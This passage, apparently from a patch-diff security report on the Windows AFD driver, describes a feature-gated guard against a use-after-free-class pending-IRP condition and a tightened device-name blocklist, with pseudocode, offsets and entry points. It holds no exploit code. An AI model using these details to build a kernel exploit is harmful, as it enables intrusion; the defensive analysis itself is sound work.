&lt;td&gt;&lt;strong&gt;0.9806&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1228&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1212&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a new, feature-staged endpoint state byte at offset &lt;code&gt;+0x91&lt;/code&gt; in the AFD SAN endpoint structure. When an endpoint's accept has been cancelled/drained (&lt;code&gt;AfdSanCancelAccept&lt;/code&gt;), the byte is set, and the accept/receive redirect handlers then complete an incoming request IRP with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; instead of linking it onto the endpoint's pending-IRP list at &lt;code&gt;+0x70&lt;/code&gt;. This closes a window where a request IRP could be (re)queued onto an endpoint whose accept processing has already been torn down — a dangling pending-IRP / use-after-free class condition. The change is entirely gated behind the WIL feature &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/code&gt;, which exists only in the patched binary, so this is a staged rollout with the pre-patch behavior retained in the feature-off branch. A concrete, reachable memory-corruption primitive is &lt;strong&gt;not&lt;/strong&gt; demonstrable from the two binaries; severity is therefore &lt;strong&gt;Low&lt;/strong&gt;. A secondary, also feature-gated hardening tightens a TDI device-name blocklist from exact-match to substring-match.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Low — Missing post-cancel state check in the AFD accept-redirect IRP handler&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function (unpatched):&lt;/strong&gt; &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; @ &lt;code&gt;0x1C0080198&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function (patched):&lt;/strong&gt; &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; @ &lt;code&gt;0x1C0082338&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing state validation guarding a dangling pending-IRP / use-after-free condition (CWE-416, as the defended class)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; &lt;code&gt;NtDeviceIoControlFile(\Device\Afd, …)&lt;/code&gt; accept-side request handled by the AFD SAN dispatch&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What actually changed.&lt;/strong&gt; In both builds the handler runs under the endpoint spinlock (&lt;code&gt;KeAcquireInStackQueuedSpinLock&lt;/code&gt; on &lt;code&gt;[ep+0x30]&lt;/code&gt;), verifies the endpoint signature &lt;code&gt;0x1AFD&lt;/code&gt; (&lt;code&gt;[ep+0x00]&lt;/code&gt;), state &lt;code&gt;4&lt;/code&gt; (&lt;code&gt;[ep+0x02]&lt;/code&gt;), and status &lt;code&gt;0x103&lt;/code&gt;/&lt;code&gt;0xC0000016&lt;/code&gt; (&lt;code&gt;[ep+0x8c]&lt;/code&gt;), sets the IRP &lt;code&gt;Information&lt;/code&gt; (&lt;code&gt;[irp+0x78]&lt;/code&gt;) and &lt;code&gt;CancelRoutine&lt;/code&gt; (&lt;code&gt;[irp+0x68] = AfdSanCancelRequest&lt;/code&gt;), then checks &lt;code&gt;IRP-&amp;gt;Cancel&lt;/code&gt; (&lt;code&gt;[irp+0x44]&lt;/code&gt;). If the IRP is not cancelled, it links the IRP into the endpoint's pending list at &lt;code&gt;[ep+0x70]&lt;/code&gt; and returns &lt;code&gt;STATUS_PENDING&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The patched build inserts one additional gate after the &lt;code&gt;IRP-&amp;gt;Cancel&lt;/code&gt; test: it calls &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage()&lt;/code&gt;; if the feature is off it queues exactly as before, and if the feature is on it also reads the new byte &lt;code&gt;[ep+0x91]&lt;/code&gt;. If that byte is non-zero, the handler skips queuing and instead completes the IRP with &lt;code&gt;STATUS_CANCELLED (0xC0000120)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What &lt;code&gt;+0x91&lt;/code&gt; means.&lt;/strong&gt; The byte is new to the patched build (it is referenced nowhere in the unpatched binary). &lt;code&gt;AfdSanInitEndpoint&lt;/code&gt; zero-initializes it (only when the feature is on), and &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; sets it to &lt;code&gt;1&lt;/code&gt; when it cancels an endpoint's accept and drains the pending list. So &lt;code&gt;[ep+0x91] != 0&lt;/code&gt; marks "this endpoint's accept has been cancelled/drained; do not queue new request IRPs onto it." The guard prevents a request IRP from being linked onto the pending list of an endpoint whose accept teardown has already run — the condition that could otherwise leave an IRP referencing an endpoint that is being torn down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Direction / staging.&lt;/strong&gt; The change makes the patched build strictly more conservative (adds a guard). It is entirely feature-gated; with the feature off, the patched code path is identical to the unpatched one, and the pre-patch queuing behavior is retained in that branch.&lt;/p&gt;
&lt;h3&gt;Finding #2 — Low — Same guard on the AFD fast-complete (receive/accept) IRP handler&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function (unpatched):&lt;/strong&gt; &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; @ &lt;code&gt;0x1C007EF30&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function (patched):&lt;/strong&gt; &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; @ &lt;code&gt;0x1C0081030&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Same as Finding #1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; &lt;code&gt;NtDeviceIoControlFile(\Device\Afd, …)&lt;/code&gt; receive/accept-side request handled by the AFD SAN dispatch&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The same guard is added here. Under the endpoint spinlock, after setting the cancel routine and checking &lt;code&gt;IRP-&amp;gt;Cancel&lt;/code&gt; (&lt;code&gt;[irp+0x44]&lt;/code&gt;), the patched build calls &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage()&lt;/code&gt; and, when enabled, checks &lt;code&gt;[ep+0x91]&lt;/code&gt; (&lt;code&gt;cmp byte [r15+0x91], 0&lt;/code&gt; at &lt;code&gt;0x1C0081445&lt;/code&gt;) before linking the IRP into &lt;code&gt;[ep+0x70]&lt;/code&gt;. If the byte is set, it releases the lock and takes the cancel path instead of queuing. The unpatched handler has neither the feature call nor the &lt;code&gt;+0x91&lt;/code&gt; check.&lt;/p&gt;
&lt;p&gt;The same &lt;code&gt;+0x91&lt;/code&gt; read guard is also present in a third consumer, &lt;code&gt;AfdSanAcquireContext&lt;/code&gt; (patched &lt;code&gt;0x1C007E830&lt;/code&gt;, at &lt;code&gt;0x1C007EE79&lt;/code&gt; and &lt;code&gt;0x1C007EEB4&lt;/code&gt;), which the changed-function triage originally mislabeled (see §8).&lt;/p&gt;
&lt;h3&gt;Finding #3 — Low — TDI device-name blocklist tightened from exact-match to substring-match&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function (unpatched / patched):&lt;/strong&gt; &lt;code&gt;AfdIsValidTdiDeviceName&lt;/code&gt; @ &lt;code&gt;0x1C000896C&lt;/code&gt; (same address in both builds)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Incomplete list of disallowed inputs (CWE-184)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; socket/transport creation path that validates a caller-supplied TDI device name against &lt;code&gt;AfdTdiInvalidDeviceNames&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The unpatched function compares the caller-supplied name against the one-entry blocklist &lt;code&gt;AfdTdiInvalidDeviceNames&lt;/code&gt; using exact &lt;code&gt;RtlEqualUnicodeString&lt;/code&gt; (case-insensitive). The patched function adds a &lt;code&gt;Feature_2480880955__private_IsEnabledDeviceUsage()&lt;/code&gt; gate: when the feature is off it keeps the exact &lt;code&gt;RtlEqualUnicodeString&lt;/code&gt; comparison; when on it uses &lt;code&gt;RtlFindUnicodeSubstring(callerName, blockedName)&lt;/code&gt; instead, so a caller-supplied name that merely &lt;em&gt;contains&lt;/em&gt; the blocked name is now rejected. This closes a bypass where the blocked device name is embedded inside a longer string. Impact is limited to reaching a name that should have been rejected; no memory-safety impact. Also feature-gated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Accept-redirect handler&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED AfdSanRedirectRequest @ 0x1C0080198 =====&lt;/span&gt;
&lt;span class="c1"&gt;// (under endpoint spinlock; signature/state/status already checked)&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// [irp+0x78]&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelRoutine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdSanCancelRequest&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// [irp+0x68]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cancel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// [irp+0x44]  -- the ONLY gate&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// link IRP into endpoint pending list at [ep+0x70]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_PENDING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// 0x103&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// else: pull cancel routine, complete with STATUS_CANCELLED&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED AfdSanRedirectRequest @ 0x1C0082338 =====&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CancelRoutine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdSanCancelRequest&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cancel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cancel_path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// [irp+0x44]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NEW feature gate&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// NEW post-cancel state check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cancel_path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// endpoint accept cancelled -&amp;gt; refuse&lt;/span&gt;
&lt;span class="c1"&gt;// else: link IRP into pending list at [ep+0x70], return STATUS_PENDING&lt;/span&gt;
&lt;span class="nl"&gt;cancel_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CANCELLED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000120&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdPriorityBoost&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;The new &lt;code&gt;+0x91&lt;/code&gt; byte — producer and initializer&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== NEW AfdSanInitEndpoint @ 0x1C0082020 =====&lt;/span&gt;
&lt;span class="c1"&gt;// zero-inits endpoint fields; the +0x91 write is feature-gated&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x88&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x78&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// self-linked list anchor&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x84&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// feature-gated&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1AFD&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ===== AfdSanCancelAccept sets the byte (patched @ 0x1C007F140) =====&lt;/span&gt;
&lt;span class="c1"&gt;// unpatched @ 0x1C007D130 has NO +0x91 write and does not drain [ep+0x70]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// mark accept cancelled&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// then drain any IRPs already pending on [ep+0x70]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #2 — Fast-complete handler&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED AfdSanFastCompleteRequest @ 0x1C007EF30 =====&lt;/span&gt;
